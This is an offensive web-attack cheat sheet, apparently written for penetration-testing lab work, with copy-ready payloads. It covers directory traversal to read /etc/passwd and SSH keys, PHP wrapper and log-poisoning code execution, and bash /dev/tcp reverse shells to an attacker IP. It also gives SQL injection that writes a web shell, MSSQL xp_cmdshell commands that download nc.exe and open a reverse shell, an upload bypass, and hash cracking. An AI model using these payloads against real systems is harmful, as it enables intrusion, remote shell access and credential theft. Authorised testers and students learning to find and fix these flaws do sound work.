Web application attacks: discovery to shell

The web attacks I lean on most on an engagement — content discovery first, then the injection and inclusion bugs that turn a web root into a shell. Payloads are copy-ready; swap the IPs and paths.

#Content discovery

Map the app before attacking it. Directories, then files by extension, then virtual hosts.

# directories
gobuster dir -u http://<ip>:8080 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -t 50 -o dirs.txt
gobuster dir -u http://<ip>/CMS/ -w /usr/share/wordlists/dirb/common.txt -b 301,302

# files by extension
gobuster dir -u http://<ip>:8080 -w .../common.txt -x php,asp,aspx,txt,html,js,sql,zip -r -o files.txt

# ffuf — fast, and does vhost fuzzing
ffuf -c -w .../common.txt -u http://<ip>/FUZZ
ffuf -w subdomains-top1million.txt -u http://offsec.lab/ -H "Host: FUZZ.offsec.lab" -ac

# feroxbuster recurses on its own
feroxbuster -u http://<ip> -w .../directory-list-2.3-big.txt -x zip php txt html -k -C 404

Nmap's HTTP NSE gives a quick first look:

sudo nmap -p80 --script=http-enum <ip>

#Directory traversal & LFI/RFI

Read arbitrary files by climbing out of the web root:

../../../../../../../../etc/passwd
../../../../../../../../home/user/.ssh/id_rsa

# bypass naive filters with URL encoding (. → %2e)
%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

PHP wrappers turn a file-read primitive into source disclosure or code execution:

# leak source, base64-encoded
curl "http://<ip>/index.php?page=php://filter/convert.base64-encode/resource=admin.php"

# execute via data:// wrapper
curl "http://<ip>/index.php?page=data://text/plain,<?php system('ls');?>"

LFI → RCE via log poisoning: inject PHP into a log the app will include, then trigger it:

# poison the User-Agent / a request line with PHP
nc -nv <ip> 80
GET /<?php system($_GET['cmd']); ?>

# then include the log and pass a command
http://<ip>/index.php?book=../../../../var/log/apache2/access.log&cmd=id
# upgrade to a reverse shell
bash -c 'bash -i >& /dev/tcp/<kali-ip>/4242 0>&1'

#SQL injection

Confirm and fingerprint by hand before automating:

-- authentication bypass / boolean
offsec' OR 1=1 -- //
' OR 1=1 in (select @@version) -- //
' OR 1=1 in (select password from users where username='admin') -- //

-- UNION: find column count, then exfiltrate
' ORDER BY 2 -- //
' UNION SELECT null, null, database(), user(), @@version -- //
' UNION SELECT null, table_name, column_name, table_schema, null FROM information_schema.columns WHERE table_schema=database() -- //

-- blind, time-based
offsec' AND IF(1=1, sleep(3), 'false') -- //

Direct DB access for enumeration:

mysql -u root -p'root' -h <ip> -P 3306
impacket-mssqlclient Administrator:Lab@<ip> -windows-auth

SQLi → RCE. On MySQL, write a webshell with INTO OUTFILE; on MSSQL, enable xp_cmdshell:

-- MySQL: drop a shell into the web root
' UNION SELECT "<?php system($_GET['cmd']);?>",null,null,null,null INTO OUTFILE "/var/www/html/tmp/shell.php" -- //

-- MSSQL: turn on command execution
EXECUTE sp_configure 'show advanced options',1; RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell',1; RECONFIGURE;
xp_cmdshell "powershell wget http://<kali>/nc.exe -OutFile c:\Users\Public\nc.exe";
xp_cmdshell "c:\Users\Public\nc.exe -e cmd.exe <kali> 8888";

Automate once you understand the injection point:

sqlmap -u "http://<ip>/blindsqli.php?user=1" -p user

#File upload bypass

When .php is blocked but arbitrary extensions upload, remap an extension to the PHP handler with a dropped .htaccess:

echo "AddType application/x-httpd-php .dork" > .htaccess
# now upload shell.dork containing PHP — Apache runs it as PHP

#Exposed .git

An exposed .git/ directory is the whole source tree, history included:

git-dumper http://<ip>/.git/ .
git log --oneline
git show <commit>          # secrets and removed files live in old commits

#WordPress

wpscan --url http://<ip> --api-token <token>
wpscan --url http://<ip> -e ap --plugins-detection aggressive   # vulnerable plugins
wpscan --url http://<ip> --enumerate u                          # users

WordPress password hashes are phpass ($P$…) — hashcat mode 400, salt is embedded:

hashcat -m 400 --username hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule -o cracked.txt
hashcat -m 400 --username hashes.txt -a 6 rockyou.txt '?d?d?d?d'   # hybrid: word + 4 digits
hashcat --show -m 400 --username hashes.txt